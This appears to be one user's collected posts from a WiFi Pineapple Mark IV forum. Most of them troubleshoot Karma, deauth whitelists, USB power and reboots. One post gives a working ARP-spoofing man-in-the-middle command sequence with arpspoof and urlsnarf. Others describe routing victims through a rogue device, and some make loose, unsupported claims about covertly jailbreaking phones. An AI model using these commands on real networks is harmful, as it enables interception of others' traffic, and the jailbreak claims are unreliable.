TwistedPacket
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What IP address do you have on your computers nic? You need to make sure its 172.16.42.42 And plugged into the LAN port not the POE port on the pineapple.
-Tp
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I have a problem.. Here is my setup...
Pineapple running Karma (wlan0) added this MAC to Whitelist
Pineapple connecting to internet through Raspberry PI running Kali. Pi connects to internet via wireless to my iPhone. No problems there. I get an ip on the Pineapple etc.. internet works, karma works etc...
I also whitelisted the MAC of the iPhone hotspot.
When I click start to start the death it disconnects everthing connected to the Pineapple even though I whitelisted WLAN0 MAC.
My Pi's connection to the iPhone stays connected however (as it should as it is also whitelisted)
In the whitelisting txt window it looks like:
______________________
#iPhone
00:01:02:03:04:05
#Pineapple
01:02:03:04:05:06
_______________________
In the blacklisting windows it looks like:
_______________________
#Every AP
[a-zA-Z0-9]*
_______________________
My wlan1 interface that I'm putting in to monitor mode is an Alfa AWUS036NH.
I'm confused.... :/
Update:
It seems that once I start the jammer wlan0 interface goes down. I was running airodump-ng on my kali laptop. It was displaying my Pineapple's ESSID up until about 5 seconds after I ran jammer on Wlan1 Mon0.
So, it's not deauthing me. It seems it shutting down WLAN0. Any ideas?
Try to blacklist just one AP as a test. Also use a powered Hub on Wlan1 that fixed my issue with Wlan0 shutting down
-Tp
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Maybe it could be slightly modified, maybe to increase the shutdown load limit or whatever...
-Foxtrot
That is a great idea!
-Tp
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Disabling the watchdog process has stopped the random reboots for me (2.8.0).
Run "/etc/init.d/watchdog stop" to disable it.. or chmod -x /etc/init.d/watchdog to disable it permanently. (You can do chmod +x /etc/init.dwatchdog to renable it on boot)
Will try that when I get home!
-Tp
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The exploit occurred when the phone was plugged in to charge. The way I understand it is that the IOS code that this is using has to do with verifying AC power. Not sure how it works to be honest :)
-Tp
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Would you elaborate on the Secretly jailbreaking iPhone attack? I didn't think that was possible.
-Foxtrot
I think its going to be relased at Blackhat this year. .
-Tp
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I do 3 Gigs!
-Tp
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If your phone connect's to the rouge network.the hacker can scan your phone.. Sniff traffic etc. There is a way to even Jailbrake iPhone's secretly when connected to a rouge AP and install hidden apps. On Android you just spoof an update then PWNED!
-Tp
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The pineapple cant handle the load is what I think. I can run my pineapple all week in AP mode running karma but as soon as I turn on any thing else it reboots sometimes in a few hours sometimes in a few minutes.
-Tp
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echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t 192.168.1.45 192.168.1.1 & > /dev/null
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.45 & > /dev/null
urlsnarf -i wlan0
Most new wireless routers have some type of AntiArpSpoofing protection so it might not work at all. I am seeing every network I work on now have this all ready enabled so Arp spoofing is becoming a thing of the past.
-Tp
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You need to set the interface to use an open ipaddress of your network. And then configure the routing. You can then set up ip forwarding to pass trafic with the wireless interface Wlan 0.
-Tp
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Can you re flash to see if that helps?
-Tp
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If you turn the Pineapple into a client and connect to the same AP other clients are connected to you must force them to route through your pineapple / Computer for it to work
So it can work like this:
Target User ----> Pineapple -----> MitM Attack ------> internet.
Or:
User -----> Computer ------ MitM Arrack ----> Pineapple -------> internet
You have to have Arp Spoofing on wired networks so that you take over the routers IP an route requests through you.
For a MitM attack to work you have to get yourself in the middle.
-Tp
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It takes a lot of power to handle 32 GB USB try a 4 GB usb an please post the results.
-Tp
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Same issues here!
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That is more of a work around than a fix. Odd.
Yeah I would agree with you on that. I am not sure why the extra swap space fixed the issue. Perhaps the Pineapple runs out of memory.
-Tp
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I got this to work after I added 3 gigs of swap space. However it reboots after 2 hours and around 25 minutes every time.
-Tp
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I have fixed this issue by adding 3 gigs of swap space!
-Tp
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I think there is a missunderstanding here, TwistedPacket.
WallE wants to connect the pineapple to his router using WPA and then use the Pineapple's tools to explore the network.
To answer your question, this is entirely possible:
Use the networkmanager infusion from the Pineapple bar to connect to your AP.
Now, simply use the tools as you would on any computer connected to said AP.
Its entirely possible that I misunderstood the question :)
However for the main tools to run would you not need to have MITM access so the victim is routing through your pineapple? The way I would do this type of attack is as fallows. First if the AP supports it I would turn the target AP into a client and have it connect to the Pineapple for its internet access. Or if the target AP supports openwrt I would flash the AP then install the tools on the target AP.
If you want to use the Pineapple only you would need to have the pineapple connect as a client to the target AP and perform some Arp posing to force a MITM type of attack. PLEASE correct me if I am wrong :)
-Tp
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Try a different hub. I have the hack5 one an it never has worked. Get a powered USB 3.0 hub from Amazon they cost $30 but work well. I have used a MiFi USB connection with a Wireless radio an my usb stick, it works great. Also plug everything in after the pineapple boots!
-Tp
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I have not made a list. The best way is to check them yourself. Connect to the pineapple and see what works :)
-Tp
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You need to know what type of WiFi router it is and also have Admin access to the router.
-Tp
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When I try to install the mitm Infusion from the bar my Pineapple reboots? Any ideas?
-Tp
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Two things come to mind. First you would need to know the model of the AP then check out openwrt. Second you could also "If the AP supports it" use client mode on the AP an have it connect to your Pineapple
-Tp
2.8.1 USB Issues
in WiFi Pineapple Mark IV
Posted
I just flashed my Pineapple to 2.8.1 good news Karma works! Bad news is that if I plug in anything into the usb port my Pineapple reboots within 2 minutes It also will not start with anything in the usb port.
Any help would be great!
-Tp